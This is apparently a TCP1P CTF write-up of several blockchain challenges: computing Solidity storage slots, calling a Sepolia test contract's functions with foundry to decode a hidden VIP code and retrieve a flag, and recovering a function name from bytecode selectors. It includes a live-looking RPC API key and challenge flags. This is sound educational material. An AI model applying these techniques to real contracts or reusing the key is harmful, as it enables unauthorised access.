Out[2]: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,TCP1P{d0_3nj0y_th3_p4rty_bu7_4r3_y0u_4_VIP?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Flag: TCP1P{d0_3nj0y_th3_p4rty_bu7_4r3_y0u_4_VIP?}

Location

Description

Author: Kiinzu

Will you accept the invitation? If so, find the party location now!

nc ctf.tcp1p.com 20005

Solution

Trying to connect with the provided ip and port, we can see that the challenge is we need to answer a quiz, where given a contract layout, submit the storage SLOT of the password variable. Below is example question:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
nc ctf.tcp1p.com 20005
====Going to The Party====

To Find the party location
You need to solve a simple riddle regarding a SLOT
Answer everything correctly, and find the exact location!

Question: In which Slot is Password Stored?

You'll answer with and ONLY WITH [numbers]
ex: 
0,1,2,3,4.....99

Note: 
    -   Slot start from 0
    -   If it doesn't stored on SLOT, answer 0

Identification Required for Guest

Question:

contract StorageChallenge9 {
    bytes32 private unique_code;
    bytes32 private key_12;
    address private owner;
    address[20] public player;
    bool private valid;
    bytes32 private password;
    address private enemy;
    bool private answered;
}

Answer: 

To give some background, in EVM, a smart contract has persistent storage, known as “storage”, which exists in a state database, maintaining the information between function calls and transactions. The format is in form of key-value pairs.

Each contract state variables are stored in storage slots. A storage slot is capable of holding 32 bytes piece of data. Each slot can be used by one or more state variables, depends on the order and size. For example, consider this contract:

1
2
3
4
5
contract Example {
  bytes32 a;
  address b;
  bool c;
}

In the above contract, the variable a, which has bytes32 type (32 bytes), will be stored in SLOT 0, because it is the first state that is defined in the contract. Next, variable b, which has address type (20 bytes), will be stored in SLOT 1, because the SLOT 0 has been occupied by a. Last, variable c which has bool type (1 byte), will be stored in SLOT 1 as well, because the SLOT 1 still has 12 bytes free space due to the fact that variable b only use 20 bytes of the SLOT 1.

Note
A special case which is mentioned in the chall description (“If it doesn’t stored on SLOT, answer 0”) refers to a contract which has immutable state variable. immutable state variable isn’t stored in the storage, which is why there isn’t any SLOT associated with it.

In order to solve this challenge, you can do either manual calculation, or simply compile the contract with solc <contract_name> --storage-layout like this:

1
2
3
4
5
solc src/Test.sol --storage-layout

======= src/Test.sol:StorageChallenge9 =======
Contract Storage Layout:
{"storage":[{"astId":3,"contract":"src/Test.sol:StorageChallenge9","label":"unique_code","offset":0,"slot":"0","type":"t_bytes32"},{"astId":5,"contract":"src/Test.sol:StorageChallenge9","label":"key_12","offset":0,"slot":"1","type":"t_bytes32"},{"astId":7,"contract":"src/Test.sol:StorageChallenge9","label":"owner","offset":0,"slot":"2","type":"t_address"},{"astId":11,"contract":"src/Test.sol:StorageChallenge9","label":"player","offset":0,"slot":"3","type":"t_array(t_address)20_storage"},{"astId":13,"contract":"src/Test.sol:StorageChallenge9","label":"valid","offset":0,"slot":"23","type":"t_bool"},{"astId":15,"contract":"src/Test.sol:StorageChallenge9","label":"password","offset":0,"slot":"24","type":"t_bytes32"},{"astId":17,"contract":"src/Test.sol:StorageChallenge9","label":"enemy","offset":0,"slot":"25","type":"t_address"},{"astId":19,"contract":"src/Test.sol:StorageChallenge9","label":"answered","offset":20,"slot":"25","type":"t_bool"}],"types":{"t_address":{"encoding":"inplace","label":"address","numberOfBytes":"20"},"t_array(t_address)20_storage":{"base":"t_address","encoding":"inplace","label":"address[20]","numberOfBytes":"640"},"t_bool":{"encoding":"inplace","label":"bool","numberOfBytes":"1"},"t_bytes32":{"encoding":"inplace","label":"bytes32","numberOfBytes":"32"}}}

Flag: TCP1P{W00t_w00t_t0_th3_p4rty_47JHbddc}

VIP

Description

Author: Kiinzu

A very simple system at a party. If you are a VIP, you can get everything.

nc ctf.tcp1p.com 23345

Solution

Let’s start by trying to connect to the given instance.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
nc ctf.tcp1p.com 23345
Welcome to TCP1P Blockchain Challenge

1. How to 101?
2. get Contract
>> 1
Same as the last challenge, but this time, call the help() function first

nc ctf.tcp1p.com 23345
Welcome to TCP1P Blockchain Challenge

1. How to 101?
2. get Contract
>> 2
Contract Addess: 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD
RPC URL        : https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8
To start       : Simply call the help() function, everything is written there

Note: Due it's deployed on Sepolia network, please use your own Private key to do the transaction
      If you need funds, you can either DM the probset or get it on https://sepoliafaucet.com/

Let’s start by calling help() function in the given contract with the help of foundry, just like what we did before in the Venue challenge.

1
2
cast call 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD "help()" -r https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8
0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001f757656c636f6d6520746f205443503150205072697661746520436c7562210a0a456e6a6f792074686520435446205061727479206f6620796f7572206c6966652068657265210a4275742066697273742e2e2e20506c656173652067697665206d6520796f75722069642c206e6f726d616c2070656f706c652068617665206174206c65617374206d656d62657220726f6c650a4f6620436f757273652c2074686572652061726520616c736f206d616e792056495073206f76657220686572652e20422d290a0a46756e6374696f6e733a0a0a456e7472616e636528726f6c6529202d3e2076657269667920796f757220726f6c6520686572652c2061726520796f752061206d656d626572206f722056495020436c6173730a2020203e20726f6c6520202d2d3e20696e70757420796f757220726f6c6520617320737472696e670a737465616c564950436f64652829202d3e20736f6d656f6e65206d69676874277665206a75737420737465616c20612076697020636f646520616e642077616e7420746f206769766520697420746f20796f750a676574466c616728292020202020202d3e204f6e636520796f752073686f7720796f757220726f6c652c20796f752063616e2074727920796f7572206c75636b21204f4e4c59205649502043616e206765742074686520466c6167210a0a0a000000000000000000

Decoding the hex, we will see this message:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Welcome to TCP1P Private Club!

Enjoy the CTF Party of your life here!
But first... Please give me your id, normal people have at least member role
Of Course, there are also many VIPs over here. B-)

Functions:

Entrance(role) -> verify your role here, are you a member or VIP Class
   > role  --> input your role as string
stealVIPCode() -> someone might've just steal a vip code and want to give it to you
getFlag()      -> Once you show your role, you can try your luck! ONLY VIP Can get the Flag!

Based on the message, we can kinda see that the top-down flow to solve this challenge here is:

  • We need to call getFlag() to get the flag.
  • In order to do that, the sender (us) need to be flagged as a certain role by the contract.
  • To set the role, we need to call Entrance(role). Maybe, if the role is correct, there will be some write operations in the contract which will flagged the sender as a VIP member.
  • Seems like the stealVIPCode() can be used to fetch the correct role.

Now that we get the idea, let’s start by calling the stealVIPCode() first.

1
2
cast call 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD "stealVIPCode()" -r https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8
0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000001932049206d6179206f72206d6179206e6f742067657420796f752061207469636b65742c20627574204920646f6e277420756e6465727374616e64206d7563682061626f757420686f7720746f206465636f646520746869732e0a4974277320736f6d6520736f7274206f6620746865697220616269436f64657220706f6c6963792e200a5649502d5469636b65743a203078303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303032303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030326635343433353033313530333137333734343336633631373337333533363536313734323032643230363937333230373436383635323035363439353032303534363936333662363537343230373436383635373932303733363136393634303030303030303030303030303030303030303030303030303030303030303030300a00000000000000000000000000

The decoded message is like below:

1
2
3
I may or may not get you a ticket, but I don't understand much about how to decode this.
It's some sort of their abiCoder policy. 
VIP-Ticket: 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002f5443503150317374436c61737353656174202d2069732074686520564950205469636b6574207468657920736169640000000000000000000000000000000000

Let’s decode the VIP-Ticket:

1
TCP1P1stClassSeat - is the VIP Ticket they said

Okay, now that we got the code, it’s time to call Entrance(role) with that VIP-Ticket. In order to do this, we need to have a private key + some ETH balance in our account. First, let’s try to create our own wallet with MetaMask in order to have our own private key. To do that:

  • Install MetaMask extension.
  • Create a new wallet.
  • Follow this documentation to get your private key.
  • Fill in your account with SepoliaETH. You can either:
    • Ask author to send you ETH, or
    • Use publicly available website to request for SepoliaETH faucet.

After that, with the private key that we have, we will create a transaction which will call Entrance(role) with the given string.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
cast send 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD "Entrance(string)" -r https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8 --private-key <REDACTED> -- "TCP1P1stClassSeat"

blockHash               .......
blockNumber             4498975
contractAddress         
cumulativeGasUsed       765784
effectiveGasPrice       3038077111
gasUsed                 61788
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root                    
status                  1
transactionHash         .......
transactionIndex        3
type                    2

After making this transaction, we should be able to fetch the flag via getFlag().

1
2
cast call 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD "getFlag()" -r https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8 --private-key <REDACTED>
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000003854435031507b345f6231745f6f665f6630756e6472795f73336e645f346e645f616269436f6465725f77306e375f687572375f793334687d0000000000000000

Flag: TCP1P{4_b1t_of_f0undry_s3nd_4nd_abiCoder_w0n7_hur7_y34h}

Invitation

Description

Author: Kiinzu

An Invitation to an amazing party, only if you find the right location.

Note: Please read the 101.txt.

Solution

Let’s start by reading the description inside 101.txt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Description:
    You are provided a bytecode there, yeah?
    Find out a way to get a certain function name from it,
    the correct function name begin with "TCP1P" string.

Flag Format
    if you manage to find the correct function name
    do the exact same thing as the example below
    
    Found Function name: TCP1P_th1s_1s_4_fl4g_()
        -> remove the "()"
        -> replace the first "_" with "{"
        -> replace the last "_" with "}"
    
    Final and Right flag format: TCP1P{th1s_1s_4_fl4g}

So, for this challenge, we were given a contract’s bytecode, and then we need to find the correct function name.

To give some background, in EVM, there’s a concept known as a “function selector.” When you write smart contracts in high-level languages like Solidity, these contracts contain functions. However, the EVM doesn’t understand these high-level details directly. Instead, it requires a more compact form to invoke these functions, and that’s where selectors come in.

A “selector” is a 4-byte hexadecimal identifier derived from the function’s signature. This signature is composed of the function name and the types of its arguments, serialized into a specific format. The selector itself is produced by taking the Keccak-256 hash of this signature and using only the first 8 characters (4 bytes) of the hash. This process is standardized, ensuring a unique selector for each unique function signature.

When a smart contract is compiled, the original code is transformed into bytecode. The function selectors are embedded within this bytecode, acting as the entry points for all the contract’s functions. Each high-level languages has their own strategy on the compiled bytecode looks like, but in summary, usually you can pass input data in hex-form of selector + arguments, then the bytecode will try to fetch the selector that you pass and try to jump to the suitable places.

Observed that the selector is not reversible, so in general, given a function selector, we wouldn’t be able to recover the function name. However, there are some online databases that we can use that map these 4-byte selectors back to their original function signatures. The most popular one is this website.

So, in order to tackle this challenge, there are actually 2 ways. The proper way and the lazy way :D

The lazy way

With this approach, we don’t even need to examine the bytecodes :P.

It’s important to note that, at this stage, we only have the bytecode. We haven’t identified the specific selector necessary for querying the function name in the database. However, we can guess that perhaps the creator of the challenge has already logged the function name (potentially the flag) in the online database.

Another educated guess could be that the challenge author stored the selector function just before the start of the CTF. So, an idea might be to access the database, arrange the entries by ID in descending order, and manually check each entry for a potential flag, starting from the most recent. The premise here is that the flag should be quite close to the recent entries.

As it turns out, this educated guess was accurate. The flag was located around page 40, relatively close to the most recent entries in the database.

The proper way

Let’s start by disassembling the EVM bytecode with my favourite online disassembler. Don’t take a look in the decompiled one, but look at the disassembled output instead.

In the bytecode of a compiled contract, usually there will be sequences of opcodes like this:

1
2
3
4
PUSH4 <selector>
EQ
PUSH <code_dest>
JUMPI

The code essentially performs operations comparing the user’s input with the available selectors within the contract. If there’s a match, it prompts the VM to jump to the bytecode of the corresponding selector function. To retrieve all available selectors, we can simply search for the PUSH4 opcode in the disassembled results, then verify each value individually in the online database. Observed that the following sequence appeared in the disassembled output:

1
2
3
4
  0x5b1: PUSH4     0xb00d78a5
  0x5b6: EQ        
  0x5b7: PUSH2     0x14f
  0x5ba: JUMPI 

If we check the 0xb00d78a5 value in the online DB, we will get the function name (which is the flag).

Flag: TCP1P{4_Bytes_SigNAtuRe_aS_4n_Invitation_congratz}

Social Media

Follow me on twitter